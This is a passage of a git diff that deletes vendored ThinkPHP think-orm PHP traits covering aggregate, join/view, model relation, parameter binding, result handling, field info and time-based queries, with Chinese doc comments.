(!empty($this->options['group'])) { - // 支持GROUP - $options = $this->getOptions(); - $subSql = $this->options($options) - ->field('count(' . $field . ') AS think_count') - ->bind($this->bind) - ->buildSql(); - - $query = $this->newQuery()->table([$subSql => '_group_count_']); - - $count = $query->aggregate('COUNT', '*'); - } else { - $count = $this->aggregate('COUNT', $field); - } - - return (int) $count; - } - - /** - * SUM查询 - * @access public - * @param string|Raw $field 字段名 - * @return float - */ - public function sum($field): float - { - return $this->aggregate('SUM', $field, true); - } - - /** - * MIN查询 - * @access public - * @param string|Raw $field 字段名 - * @param bool $force 强制转为数字类型 - * @return mixed - */ - public function min($field, bool $force = true) - { - return $this->aggregate('MIN', $field, $force); - } - - /** - * MAX查询 - * @access public - * @param string|Raw $field 字段名 - * @param bool $force 强制转为数字类型 - * @return mixed - */ - public function max($field, bool $force = true) - { - return $this->aggregate('MAX', $field, $force); - } - - /** - * AVG查询 - * @access public - * @param string|Raw $field 字段名 - * @return float - */ - public function avg($field): float - { - return $this->aggregate('AVG', $field, true); - } - -} diff --git a/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php b/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php deleted file mode 100644 index c33d1ed..0000000 --- a/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php +++ /dev/null @@ -1,229 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\concern; - -use think\db\Raw; -use think\helper\Str; - -/** - * JOIN和VIEW查询 - */ -trait JoinAndViewQuery -{ - - /** - * 查询SQL组装 join - * @access public - * @param mixed $join 关联的表名 - * @param mixed $condition 条件 - * @param string $type JOIN类型 - * @param array $bind 参数绑定 - * @return $this - */ - public function join($join, string $condition = null, string $type = 'INNER', array $bind = []) - { - $table = $this->getJoinTable($join); - - if (!empty($bind) && $condition) { - $this->bindParams($condition, $bind); - } - - $this->options['join'][] = [$table, strtoupper($type), $condition]; - - return $this; - } - - /** - * LEFT JOIN - * @access public - * @param mixed $join 关联的表名 - * @param mixed $condition 条件 - * @param array $bind 参数绑定 - * @return $this - */ - public function leftJoin($join, string $condition = null, array $bind = []) - { - return $this->join($join, $condition, 'LEFT', $bind); - } - - /** - * RIGHT JOIN - * @access public - * @param mixed $join 关联的表名 - * @param mixed $condition 条件 - * @param array $bind 参数绑定 - * @return $this - */ - public function rightJoin($join, string $condition = null, array $bind = []) - { - return $this->join($join, $condition, 'RIGHT', $bind); - } - - /** - * FULL JOIN - * @access public - * @param mixed $join 关联的表名 - * @param mixed $condition 条件 - * @param array $bind 参数绑定 - * @return $this - */ - public function fullJoin($join, string $condition = null, array $bind = []) - { - return $this->join($join, $condition, 'FULL'); - } - - /** - * 获取Join表名及别名 支持 - * ['prefix_table或者子查询'=>'alias'] 'table alias' - * @access protected - * @param array|string|Raw $join JION表名 - * @param string $alias 别名 - * @return string|array - */ - protected function getJoinTable($join, &$alias = null) - { - if (is_array($join)) { - $table = $join; - $alias = array_shift($join); - return $table; - } elseif ($join instanceof Raw) { - return $join; - } - - $join = trim($join); - - if (false !== strpos($join, '(')) { - // 使用子查询 - $table = $join; - } else { - // 使用别名 - if (strpos($join, ' ')) { - // 使用别名 - [$table, $alias] = explode(' ', $join); - } else { - $table = $join; - if (false === strpos($join, '.')) { - $alias = $join; - } - } - - if ($this->prefix && false === strpos($table, '.') && 0 !== strpos($table, $this->prefix)) { - $table = $this->getTable($table); - } - } - - if (!empty($alias) && $table != $alias) { - $table = [$table => $alias]; - } - - return $table; - } - - /** - * 指定JOIN查询字段 - * @access public - * @param string|array $join 数据表 - * @param string|array $field 查询字段 - * @param string $on JOIN条件 - * @param string $type JOIN类型 - * @param array $bind 参数绑定 - * @return $this - */ - public function view($join, $field = true, $on = null, string $type = 'INNER', array $bind = []) - { - $this->options['view'] = true; - - $fields = []; - $table = $this->getJoinTable($join, $alias); - - if (true === $field) { - $fields = $alias . '.*'; - } else { - if (is_string($field)) { - $field = explode(',', $field); - } - - foreach ($field as $key => $val) { - if (is_numeric($key)) { - $fields[] = $alias . '.' . $val; - - $this->options['map'][$val] = $alias . '.' . $val; - } else { - if (preg_match('/[,=\.\'\"\(\s]/', $key)) { - $name = $key; - } else { - $name = $alias . '.' . $key; - } - - $fields[] = $name . ' AS ' . $val; - - $this->options['map'][$val] = $name; - } - } - } - - $this->field($fields); - - if ($on) { - $this->join($table, $on, $type, $bind); - } else { - $this->table($table); - } - - return $this; - } - - /** - * 视图查询处理 - * @access protected - * @param array $options 查询参数 - * @return void - */ - protected function parseView(array &$options): void - { - foreach (['AND', 'OR'] as $logic) { - if (isset($options['where'][$logic])) { - foreach ($options['where'][$logic] as $key => $val) { - if (array_key_exists($key, $options['map'])) { - array_shift($val); - array_unshift($val, $options['map'][$key]); - $options['where'][$logic][$options['map'][$key]] = $val; - unset($options['where'][$logic][$key]); - } - } - } - } - - if (isset($options['order'])) { - // 视图查询排序处理 - foreach ($options['order'] as $key => $val) { - if (is_numeric($key) && is_string($val)) { - if (strpos($val, ' ')) { - [$field, $sort] = explode(' ', $val); - if (array_key_exists($field, $options['map'])) { - $options['order'][$options['map'][$field]] = $sort; - unset($options['order'][$key]); - } - } elseif (array_key_exists($val, $options['map'])) { - $options['order'][$options['map'][$val]] = 'asc'; - unset($options['order'][$key]); - } - } elseif (array_key_exists($key, $options['map'])) { - $options['order'][$options['map'][$key]] = $val; - unset($options['order'][$key]); - } - } - } - } - -} diff --git a/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php b/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php deleted file mode 100644 index ffb72de..0000000 --- a/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php +++ /dev/null @@ -1,524 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\concern; - -use Closure; -use think\helper\Str; -use think\Model; -use think\model\Collection as ModelCollection; - -/** - * 模型及关联查询 - */ -trait ModelRelationQuery -{ - - /** - * 当前模型对象 - * @var Model - */ - protected $model; - - /** - * 指定模型 - * @access public - * @param Model $model 模型对象实例 - * @return $this - */ - public function model(Model $model) - { - $this->model = $model; - return $this; - } - - /** - * 获取当前的模型对象 - * @access public - * @return Model|null - */ - public function getModel() - { - return $this->model; - } - - /** - * 设置需要隐藏的输出属性 - * @access public - * @param array $hidden 需要隐藏的字段名 - * @return $this - */ - public function hidden(array $hidden) - { - $this->options['hidden'] = $hidden; - return $this; - } - - /** - * 设置需要输出的属性 - * @access public - * @param array $visible 需要输出的属性 - * @return $this - */ - public function visible(array $visible) - { - $this->options['visible'] = $visible; - return $this; - } - - /** - * 设置需要追加输出的属性 - * @access public - * @param array $append 需要追加的属性 - * @return $this - */ - public function append(array $append) - { - $this->options['append'] = $append; - return $this; - } - - /** - * 添加查询范围 - * @access public - * @param array|string|Closure $scope 查询范围定义 - * @param array $args 参数 - * @return $this - */ - public function scope($scope, ...$args) - { - // 查询范围的第一个参数始终是当前查询对象 - array_unshift($args, $this); - - if ($scope instanceof Closure) { - call_user_func_array($scope, $args); - return $this; - } - - if (is_string($scope)) { - $scope = explode(',', $scope); - } - - if ($this->model) { - // 检查模型类的查询范围方法 - foreach ($scope as $name) { - $method = 'scope' . trim($name); - - if (method_exists($this->model, $method)) { - call_user_func_array([$this->model, $method], $args); - } - } - } - - return $this; - } - - /** - * 设置关联查询 - * @access public - * @param array $relation 关联名称 - * @return $this - */ - public function relation(array $relation) - { - if (!empty($relation)) { - $this->options['relation'] = $relation; - } - - return $this; - } - - /** - * 使用搜索器条件搜索字段 - * @access public - * @param string|array $fields 搜索字段 - * @param mixed $data 搜索数据 - * @param string $prefix 字段前缀标识 - * @return $this - */ - public function withSearch($fields, $data = [], string $prefix = '') - { - if (is_string($fields)) { - $fields = explode(',', $fields); - } - - $likeFields = $this->getConfig('match_like_fields') ?: []; - - foreach ($fields as $key => $field) { - if ($field instanceof Closure) { - $field($this, $data[$key] ?? null, $data, $prefix); - } elseif ($this->model) { - // 检测搜索器 - $fieldName = is_numeric($key) ? $field : $key; - $method = 'search' . Str::studly($fieldName) . 'Attr'; - - if (method_exists($this->model, $method)) { - $this->model->$method($this, $data[$field] ?? null, $data, $prefix); - } elseif (isset($data[$field])) { - $this->where($fieldName, in_array($fieldName, $likeFields) ? 'like' : '=', in_array($fieldName, $likeFields) ? '%' . $data[$field] . '%' : $data[$field]); - } - } - } - - return $this; - } - - /** - * 设置数据字段获取器 - * @access public - * @param string|array $name 字段名 - * @param callable $callback 闭包获取器 - * @return $this - */ - public function withAttr($name, callable $callback = null) - { - if (is_array($name)) { - $this->options['with_attr'] = $name; - } else { - $this->options['with_attr'][$name] = $callback; - } - - return $this; - } - - /** - * 关联预载入 In方式 - * @access public - * @param array|string $with 关联方法名称 - * @return $this - */ - public function with($with) - { - if (!empty($with)) { - $this->options['with'] = (array) $with; - } - - return $this; - } - - /** - * 关联预载入 JOIN方式 - * @access protected - * @param array|string $with 关联方法名 - * @param string $joinType JOIN方式 - * @return $this - */ - public function withJoin($with, string $joinType = '') - { - if (empty($with)) { - return $this; - } - - $with = (array) $with; - $first = true; - - foreach ($with as $key => $relation) { - $closure = null; - $field = true; - - if ($relation instanceof Closure) { - // 支持闭包查询过滤关联条件 - $closure = $relation; - $relation = $key; - } elseif (is_array($relation)) { - $field = $relation; - $relation = $key; - } elseif (is_string($relation) && strpos($relation, '.')) { - $relation = strstr($relation, '.', true); - } - - $result = $this->model->eagerly($this, $relation, $field, $joinType, $closure, $first); - - if (!$result) { - unset($with[$key]); - } else { - $first = false; - } - } - - $this->via(); - - $this->options['with_join'] = $with; - - return $this; - } - - /** - * 关联统计 - * @access protected - * @param array|string $relations 关联方法名 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param bool $subQuery 是否使用子查询 - * @return $this - */ - protected function withAggregate($relations, string $aggregate = 'count', $field = '*', bool $subQuery = true) - { - if (!$subQuery) { - $this->options['with_count'][] = [$relations, $aggregate, $field]; - } else { - if (!isset($this->options['field'])) { - $this->field('*'); - } - - $this->model->relationCount($this, (array) $relations, $aggregate, $field, true); - } - - return $this; - } - - /** - * 关联缓存 - * @access public - * @param string|array|bool $relation 关联方法名 - * @param mixed $key 缓存key - * @param integer|\DateTime $expire 缓存有效期 - * @param string $tag 缓存标签 - * @return $this - */ - public function withCache($relation = true, $key = true, $expire = null, string $tag = null) - { - if (false === $relation || false === $key || !$this->getConnection()->getCache()) { - return $this; - } - - if ($key instanceof \DateTimeInterface || $key instanceof \DateInterval || (is_int($key) && is_null($expire))) { - $expire = $key; - $key = true; - } - - if (true === $relation || is_numeric($relation)) { - $this->options['with_cache'] = $relation; - return $this; - } - - $relations = (array) $relation; - foreach ($relations as $name => $relation) { - if (!is_numeric($name)) { - $this->options['with_cache'][$name] = is_array($relation) ? $relation : [$key, $relation, $tag]; - } else { - $this->options['with_cache'][$relation] = [$key, $expire, $tag]; - } - } - - return $this; - } - - /** - * 关联统计 - * @access public - * @param string|array $relation 关联方法名 - * @param bool $subQuery 是否使用子查询 - * @return $this - */ - public function withCount($relation, bool $subQuery = true) - { - return $this->withAggregate($relation, 'count', '*', $subQuery); - } - - /** - * 关联统计Sum - * @access public - * @param string|array $relation 关联方法名 - * @param string $field 字段 - * @param bool $subQuery 是否使用子查询 - * @return $this - */ - public function withSum($relation, string $field, bool $subQuery = true) - { - return $this->withAggregate($relation, 'sum', $field, $subQuery); - } - - /** - * 关联统计Max - * @access public - * @param string|array $relation 关联方法名 - * @param string $field 字段 - * @param bool $subQuery 是否使用子查询 - * @return $this - */ - public function withMax($relation, string $field, bool $subQuery = true) - { - return $this->withAggregate($relation, 'max', $field, $subQuery); - } - - /** - * 关联统计Min - * @access public - * @param string|array $relation 关联方法名 - * @param string $field 字段 - * @param bool $subQuery 是否使用子查询 - * @return $this - */ - public function withMin($relation, string $field, bool $subQuery = true) - { - return $this->withAggregate($relation, 'min', $field, $subQuery); - } - - /** - * 关联统计Avg - * @access public - * @param string|array $relation 关联方法名 - * @param string $field 字段 - * @param bool $subQuery 是否使用子查询 - * @return $this - */ - public function withAvg($relation, string $field, bool $subQuery = true) - { - return $this->withAggregate($relation, 'avg', $field, $subQuery); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $relation 关联方法名 - * @param mixed $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @return $this - */ - public function has(string $relation, string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '') - { - return $this->model->has($relation, $operator, $count, $id, $joinType, $this); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $relation 关联方法名 - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @return $this - */ - public function hasWhere(string $relation, $where = [], string $fields = '*', string $joinType = '') - { - return $this->model->hasWhere($relation, $where, $fields, $joinType, $this); - } - - /** - * 查询数据转换为模型数据集对象 - * @access protected - * @param array $resultSet 数据集 - * @return ModelCollection - */ - protected function resultSetToModelCollection(array $resultSet): ModelCollection - { - if (empty($resultSet)) { - return $this->model->toCollection(); - } - - // 检查动态获取器 - if (!empty($this->options['with_attr'])) { - foreach ($this->options['with_attr'] as $name => $val) { - if (strpos($name, '.')) { - [$relation, $field] = explode('.', $name); - - $withRelationAttr[$relation][$field] = $val; - unset($this->options['with_attr'][$name]); - } - } - } - - $withRelationAttr = $withRelationAttr ?? []; - - foreach ($resultSet as $key => &$result) { - // 数据转换为模型对象 - $this->resultToModel($result, $this->options, true, $withRelationAttr); - } - - if (!empty($this->options['with'])) { - // 预载入 - $result->eagerlyResultSet($resultSet, $this->options['with'], $withRelationAttr, false, $this->options['with_cache'] ?? false); - } - - if (!empty($this->options['with_join'])) { - // 预载入 - $result->eagerlyResultSet($resultSet, $this->options['with_join'], $withRelationAttr, true, $this->options['with_cache'] ?? false); - } - - // 模型数据集转换 - return $this->model->toCollection($resultSet); - } - - /** - * 查询数据转换为模型对象 - * @access protected - * @param array $result 查询数据 - * @param array $options 查询参数 - * @param bool $resultSet 是否为数据集查询 - * @param array $withRelationAttr 关联字段获取器 - * @return void - */ - protected function resultToModel(array &$result, array $options = [], bool $resultSet = false, array $withRelationAttr = []): void - { - // 动态获取器 - if (!empty($options['with_attr']) && empty($withRelationAttr)) { - foreach ($options['with_attr'] as $name => $val) { - if (strpos($name, '.')) { - [$relation, $field] = explode('.', $name); - - $withRelationAttr[$relation][$field] = $val; - unset($options['with_attr'][$name]); - } - } - } - - // JSON 数据处理 - if (!empty($options['json'])) { - $this->jsonResult($result, $options['json'], $options['json_assoc'], $withRelationAttr); - } - - $result = $this->model - ->newInstance($result, $resultSet ? null : $this->getModelUpdateCondition($options)); - - // 动态获取器 - if (!empty($options['with_attr'])) { - $result->withAttribute($options['with_attr']); - } - - // 输出属性控制 - if (!empty($options['visible'])) { - $result->visible($options['visible']); - } elseif (!empty($options['hidden'])) { - $result->hidden($options['hidden']); - } - - if (!empty($options['append'])) { - $result->append($options['append']); - } - - // 关联查询 - if (!empty($options['relation'])) { - $result->relationQuery($options['relation'], $withRelationAttr); - } - - // 预载入查询 - if (!$resultSet && !empty($options['with'])) { - $result->eagerlyResult($result, $options['with'], $withRelationAttr, false, $options['with_cache'] ?? false); - } - - // JOIN预载入查询 - if (!$resultSet && !empty($options['with_join'])) { - $result->eagerlyResult($result, $options['with_join'], $withRelationAttr, true, $options['with_cache'] ?? false); - } - - // 关联统计 - if (!empty($options['with_count'])) { - foreach ($options['with_count'] as $val) { - $result->relationCount($this, (array) $val[0], $val[1], $val[2], false); - } - } - } - -} diff --git a/vendor/topthink/think-orm/src/db/concern/ParamsBind.php b/vendor/topthink/think-orm/src/db/concern/ParamsBind.php deleted file mode 100644 index 296e221..0000000 --- a/vendor/topthink/think-orm/src/db/concern/ParamsBind.php +++ /dev/null @@ -1,106 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\concern; - -use PDO; - -/** - * 参数绑定支持 - */ -trait ParamsBind -{ - /** - * 当前参数绑定 - * @var array - */ - protected $bind = []; - - /** - * 批量参数绑定 - * @access public - * @param array $value 绑定变量值 - * @return $this - */ - public function bind(array $value) - { - $this->bind = array_merge($this->bind, $value); - return $this; - } - - /** - * 单个参数绑定 - * @access public - * @param mixed $value 绑定变量值 - * @param integer $type 绑定类型 - * @param string $name 绑定标识 - * @return string - */ - public function bindValue($value, int $type = null, string $name = null) - { - $name = $name ?: 'ThinkBind_' . (count($this->bind) + 1) . '_' . mt_rand() . '_'; - - $this->bind[$name] = [$value, $type ?: PDO::PARAM_STR]; - return $name; - } - - /** - * 检测参数是否已经绑定 - * @access public - * @param string $key 参数名 - * @return bool - */ - public function isBind($key) - { - return isset($this->bind[$key]); - } - - /** - * 参数绑定 - * @access public - * @param string $sql 绑定的sql表达式 - * @param array $bind 参数绑定 - * @return void - */ - public function bindParams(string &$sql, array $bind = []): void - { - foreach ($bind as $key => $value) { - if (is_array($value)) { - $name = $this->bindValue($value[0], $value[1], $value[2] ?? null); - } else { - $name = $this->bindValue($value); - } - - if (is_numeric($key)) { - $sql = substr_replace($sql, ':' . $name, strpos($sql, '?'), 1); - } else { - $sql = str_replace(':' . $key, ':' . $name, $sql); - } - } - } - - /** - * 获取绑定的参数 并清空 - * @access public - * @param bool $clear 是否清空绑定数据 - * @return array - */ - public function getBind(bool $clear = true): array - { - $bind = $this->bind; - if ($clear) { - $this->bind = []; - } - - return $bind; - } -} diff --git a/vendor/topthink/think-orm/src/db/concern/ResultOperation.php b/vendor/topthink/think-orm/src/db/concern/ResultOperation.php deleted file mode 100644 index d93c409..0000000 --- a/vendor/topthink/think-orm/src/db/concern/ResultOperation.php +++ /dev/null @@ -1,247 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\concern; - -use Closure; -use think\Collection; -use think\db\exception\DataNotFoundException; -use think\db\exception\DbException; -use think\db\exception\ModelNotFoundException; -use think\db\Query; -use think\helper\Str; -use think\Model; - -/** - * 查询数据处理 - */ -trait ResultOperation -{ - /** - * 是否允许返回空数据(或空模型) - * @access public - * @param bool $allowEmpty 是否允许为空 - * @return $this - */ - public function allowEmpty(bool $allowEmpty = true) - { - $this->options['allow_empty'] = $allowEmpty; - return $this; - } - - /** - * 设置查询数据不存在是否抛出异常 - * @access public - * @param bool $fail 数据不存在是否抛出异常 - * @return $this - */ - public function failException(bool $fail = true) - { - $this->options['fail'] = $fail; - return $this; - } - - /** - * 处理数据 - * @access protected - * @param array $result 查询数据 - * @return void - */ - protected function result(array &$result): void - { - if (!empty($this->options['json'])) { - $this->jsonResult($result, $this->options['json'], true); - } - - if (!empty($this->options['with_attr'])) { - $this->getResultAttr($result, $this->options['with_attr']); - } - - $this->filterResult($result); - } - - /** - * 处理数据集 - * @access public - * @param array $resultSet 数据集 - * @return void - */ - protected function resultSet(array &$resultSet): void - { - if (!empty($this->options['json'])) { - foreach ($resultSet as &$result) { - $this->jsonResult($result, $this->options['json'], true); - } - } - - if (!empty($this->options['with_attr'])) { - foreach ($resultSet as &$result) { - $this->getResultAttr($result, $this->options['with_attr']); - } - } - - if (!empty($this->options['visible']) || !empty($this->options['hidden'])) { - foreach ($resultSet as &$result) { - $this->filterResult($result); - } - } - - // 返回Collection对象 - $resultSet = new Collection($resultSet); - } - - /** - * 处理数据的可见和隐藏 - * @access protected - * @param array $result 查询数据 - * @return void - */ - protected function filterResult(&$result): void - { - $array = []; - if (!empty($this->options['visible'])) { - foreach ($this->options['visible'] as $key) { - $array[] = $key; - } - $result = array_intersect_key($result, array_flip($array)); - } elseif (!empty($this->options['hidden'])) { - foreach ($this->options['hidden'] as $key) { - $array[] = $key; - } - $result = array_diff_key($result, array_flip($array)); - } - } - - /** - * 使用获取器处理数据 - * @access protected - * @param array $result 查询数据 - * @param array $withAttr 字段获取器 - * @return void - */ - protected function getResultAttr(array &$result, array $withAttr = []): void - { - foreach ($withAttr as $name => $closure) { - $name = Str::snake($name); - - if (strpos($name, '.')) { - // 支持JSON字段 获取器定义 - [$key, $field] = explode('.', $name); - - if (isset($result[$key])) { - $result[$key][$field] = $closure($result[$key][$field] ?? null, $result[$key]); - } - } else { - $result[$name] = $closure($result[$name] ?? null, $result); - } - } - } - - /** - * 处理空数据 - * @access protected - * @return array|Model|null - * @throws DbException - * @throws ModelNotFoundException - * @throws DataNotFoundException - */ - protected function resultToEmpty() - { - if (!empty($this->options['fail'])) { - $this->throwNotFound(); - } elseif (!empty($this->options['allow_empty'])) { - return !empty($this->model) ? $this->model->newInstance() : []; - } - } - - /** - * 查找单条记录 不存在返回空数据(或者空模型) - * @access public - * @param mixed $data 数据 - * @return array|Model - */ - public function findOrEmpty($data = null) - { - return $this->allowEmpty(true)->find($data); - } - - /** - * JSON字段数据转换 - * @access protected - * @param array $result 查询数据 - * @param array $json JSON字段 - * @param bool $assoc 是否转换为数组 - * @param array $withRelationAttr 关联获取器 - * @return void - */ - protected function jsonResult(array &$result, array $json = [], bool $assoc = false, array $withRelationAttr = []): void - { - foreach ($json as $name) { - if (!isset($result[$name])) { - continue; - } - - $result[$name] = json_decode($result[$name], true); - - if (isset($withRelationAttr[$name])) { - foreach ($withRelationAttr[$name] as $key => $closure) { - $result[$name][$key] = $closure($result[$name][$key] ?? null, $result[$name]); - } - } - - if (!$assoc) { - $result[$name] = (object) $result[$name]; - } - } - } - - /** - * 查询失败 抛出异常 - * @access protected - * @return void - * @throws ModelNotFoundException - * @throws DataNotFoundException - */ - protected function throwNotFound(): void - { - if (!empty($this->model)) { - $class = get_class($this->model); - throw new ModelNotFoundException('model data Not Found:' . $class, $class, $this->options); - } - - $table = $this->getTable(); - throw new DataNotFoundException('table data not Found:' . $table, $table, $this->options); - } - - /** - * 查找多条记录 如果不存在则抛出异常 - * @access public - * @param array|string|Query|Closure $data 数据 - * @return array|Model - */ - public function selectOrFail($data = null) - { - return $this->failException(true)->select($data); - } - - /** - * 查找单条记录 如果不存在则抛出异常 - * @access public - * @param array|string|Query|Closure $data 数据 - * @return array|Model - */ - public function findOrFail($data = null) - { - return $this->failException(true)->find($data); - } - -} diff --git a/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php b/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php deleted file mode 100644 index 9070bef..0000000 --- a/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php +++ /dev/null @@ -1,99 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\concern; - -/** - * 数据字段信息 - */ -trait TableFieldInfo -{ - - /** - * 获取数据表字段信息 - * @access public - * @param string $tableName 数据表名 - * @return array - */ - public function getTableFields($tableName = ''): array - { - if ('' == $tableName) { - $tableName = $this->getTable(); - } - - return $this->connection->getTableFields($tableName); - } - - /** - * 获取详细字段类型信息 - * @access public - * @param string $tableName 数据表名称 - * @return array - */ - public function getFields(string $tableName = ''): array - { - return $this->connection->getFields($tableName ?: $this->getTable()); - } - - /** - * 获取字段类型信息 - * @access public - * @return array - */ - public function getFieldsType(): array - { - if (!empty($this->options['field_type'])) { - return $this->options['field_type']; - } - - return $this->connection->getFieldsType($this->getTable()); - } - - /** - * 获取字段类型信息 - * @access public - * @param string $field 字段名 - * @return string|null - */ - public function getFieldType(string $field) - { - $fieldType = $this->getFieldsType(); - - return $fieldType[$field] ?? null; - } - - /** - * 获取字段类型信息 - * @access public - * @return array - */ - public function getFieldsBindType(): array - { - $fieldType = $this->getFieldsType(); - - return array_map([$this->connection, 'getFieldBindType'], $fieldType); - } - - /** - * 获取字段类型信息 - * @access public - * @param string $field 字段名 - * @return int - */ - public function getFieldBindType(string $field): int - { - $fieldType = $this->getFieldType($field); - - return $this->connection->getFieldBindType($fieldType ?: ''); - } - -} diff --git a/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php b/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php deleted file mode 100644 index 1267e54..0000000 --- a/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php +++ /dev/null @@ -1,214 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\concern; - -/** - * 时间查询支持 - */ -trait TimeFieldQuery -{ - /** - * 日期查询表达式 - * @var array - */ - protected $timeRule = [ - 'today' => ['today', 'tomorrow -1second'], - 'yesterday' => ['yesterday', 'today -1second'], - 'week' => ['this week 00:00:00', 'next week 00:00:00 -1second'], - 'last week' => ['last week 00:00:00', 'this week 00:00:00 -1second'], - 'month' => ['first Day of this month 00:00:00', 'first Day of next month 00:00:00 -1second'], - 'last month' => ['first Day of last month 00:00:00', 'first Day of this month 00:00:00 -1second'], - 'year' => ['this year 1/1', 'next year 1/1 -1second'], - 'last year' => ['last year 1/1', 'this year 1/1 -1second'], - ]; - - /** - * 添加日期或者时间查询规则 - * @access public - * @param array $rule 时间表达式 - * @return $this - */ - public function timeRule(array $rule) - { - $this->timeRule = array_merge($this->timeRule, $rule); - return $this; - } - - /** - * 查询日期或者时间 - * @access public - * @param string $field 日期字段名 - * @param string $op 比较运算符或者表达式 - * @param string|array $range 比较范围 - * @param string $logic AND OR - * @return $this - */ - public function whereTime(string $field, string $op, $range = null, string $logic = 'AND') - { - if (is_null($range)) { - if (isset($this->timeRule[$op])) { - $range = $this->timeRule[$op]; - } else { - $range = $op; - } - $op = is_array($range) ? 'between' : '>='; - } - - return $this->parseWhereExp($logic, $field, strtolower($op) . ' time', $range, [], true); - } - - /** - * 查询某个时间间隔数据 - * @access public - * @param string $field 日期字段名 - * @param string $start 开始时间 - * @param string $interval 时间间隔单位 day/month/year/week/hour/minute/second - * @param int $step 间隔 - * @param string $logic AND OR - * @return $this - */ - public function whereTimeInterval(string $field, string $start, string $interval = 'day', int $step = 1, string $logic = 'AND') - { - $startTime = strtotime($start); - $endTime = strtotime(($step > 0 ? '+' : '-') . abs($step) . ' ' . $interval . (abs($step) > 1 ? 's' : ''), $startTime); - - return $this->whereTime($field, 'between', $step > 0 ? [$startTime, $endTime - 1] : [$endTime, $startTime - 1], $logic); - } - - /** - * 查询月数据 whereMonth('time_field', '2018-1') - * @access public - * @param string $field 日期字段名 - * @param string $month 月份信息 - * @param int $step 间隔 - * @param string $logic AND OR - * @return $this - */ - public function whereMonth(string $field, string $month = 'this month', int $step = 1, string $logic = 'AND') - { - if (in_array($month, ['this month', 'last month'])) { - $month = date('Y-m', strtotime($month)); - } - - return $this->whereTimeInterval($field, $month, 'month', $step, $logic); - } - - /** - * 查询周数据 whereWeek('time_field', '2018-1-1') 从2018-1-1开始的一周数据 - * @access public - * @param string $field 日期字段名 - * @param string $week 周信息 - * @param int $step 间隔 - * @param string $logic AND OR - * @return $this - */ - public function whereWeek(string $field, string $week = 'this week', int $step = 1, string $logic = 'AND') - { - if (in_array($week, ['this week', 'last week'])) { - $week = date('Y-m-d', strtotime($week)); - } - - return $this->whereTimeInterval($field, $week, 'week', $step, $logic); - } - - /** - * 查询年数据 whereYear('time_field', '2018') - * @access public - * @param string $field 日期字段名 - * @param string $year 年份信息 - * @param int $step 间隔 - * @param string $logic AND OR - * @return $this - */ - public function whereYear(string $field, string $year = 'this year', int $step = 1, string $logic = 'AND') - { - if (in_array($year, ['this year', 'last year'])) { - $year = date('Y', strtotime($year)); - } - - return $this->whereTimeInterval($field, $year . '-1-1', 'year', $step, $logic); - } - - /** - * 查询日数据 whereDay('time_field', '2018-1-1') - * @access public - * @param string $field 日期字段名 - * @param string $day 日期信息 - * @param int $step 间隔 - * @param string $logic AND OR - * @return $this - */ - public function whereDay(string $field, string $day = 'today', int $step = 1, string $logic = 'AND') - { - if (in_array($day, ['today', 'yesterday'])) { - $day = date('Y-m-d', strtotime($day)); - } - - return $this->whereTimeInterval($field, $day, 'day', $step, $logic); - } - - /** - * 查询日期或者时间范围 whereBetweenTime('time_field', '2018-1-1','2018-1-15') - * @access public - * @param string $field 日期字段名 - * @param string|int $startTime 开始时间 - * @param string|int $endTime 结束时间 - * @param string $logic AND OR - * @return $this - */ - public function whereBetweenTime(string $field, $startTime, $endTime, string $logic = 'AND') - { - return $this->whereTime($field, 'between', [$startTime, $endTime], $logic); - } - - /** - * 查询日期或者时间范围 whereNotBetweenTime('time_field', '2018-1-1','2018-1-15') - * @access public - * @param string $field 日期字段名 - * @param string|int $startTime 开始时间 - * @param string|int $endTime 结束时间 - * @return $this - */ - public function whereNotBetweenTime(string $field, $startTime, $endTime) - { - return $this->whereTime($field, '<', $startTime) - ->whereTime($field, '>', $endTime); - } - - /** - * 查询当前时间在两个时间字段范围 whereBetweenTimeField('start_time', 'end_time') - * @access public - * @param string $startField 开始时间字段 - * @param string $endField 结束时间字段 - * @return $this - */ - public function whereBetweenTimeField(string $startField, string $endField) - { - return $this->whereTime($startField, '<=', time()) - ->whereTime($endField, '>=', time()); - } - - /** - * 查询当前时间不在两个时间字段范围 whereNotBetweenTimeField('start_time', 'end_time') - * @access public - * @param string $startField 开始时间字段 - * @param string $endField 结束时间字段 - * @return $this - */ - public function whereNotBetweenTimeField(string $startField, string $endField) - { - return $this->whereTime($startField, '>', time()) - ->whereTime($endField, '<', time(), 'OR'); - } - -} diff --git a/vendor/topthink/think-orm/src/db/concern/Transaction.php b/vendor/topthink/think-orm/src/db/concern/Transaction.php deleted file mode 100644 index f804ae2..0000000 --- a/vendor/topthink/think-orm/src/db/concern/Transaction.php +++ /dev/null @@ -1,117 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db\concern; - -use think\db\BaseQuery; - -/** - * 事务支持 - */ -trait Transaction -{ - - /** - * 执行数据库Xa事务 - * @access public - * @param callable $callback 数据操作方法回调 - * 